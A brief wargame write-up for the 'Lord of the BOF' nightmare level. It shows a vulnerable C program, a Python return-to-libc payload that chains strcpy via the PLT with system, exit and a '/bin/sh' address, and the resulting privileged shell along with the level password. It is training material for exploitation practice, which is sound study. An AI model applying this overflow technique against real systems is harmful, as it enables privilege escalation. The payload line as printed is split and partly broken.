succubus->nightmare

문제소스

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

if(argc < 2){

printf("argv error\n");

exit(0);

}

// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }

        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);

// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}

페이로드

import os

import commands

from struct import *

p = lambda x:pack("<L",x)

strcpy=p(0x08048410)

system=p(0x40058ae0)

binsh=p(0x400fbff9)

exit=p(0x400391e0)

ret=p(0xbffffc37)

dummy_addr=p(0xbffffaa0)

system_addr=p(0xbffffa70)

target="./nightmare "

nop="\x90"

dummy=nop

payload=target + system + exit + binsh + nop*32 + strcpy + dummy*4

 + dummy_addr + system_addr

os.system(payload)

결과

[succubus@localhost succubus]$ python payload.py 

ɀσ@. ÿ¿

bash$ id    

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(n

ightmare) groups=517(succubus)bash$ my-pass

euid = 518

beg for me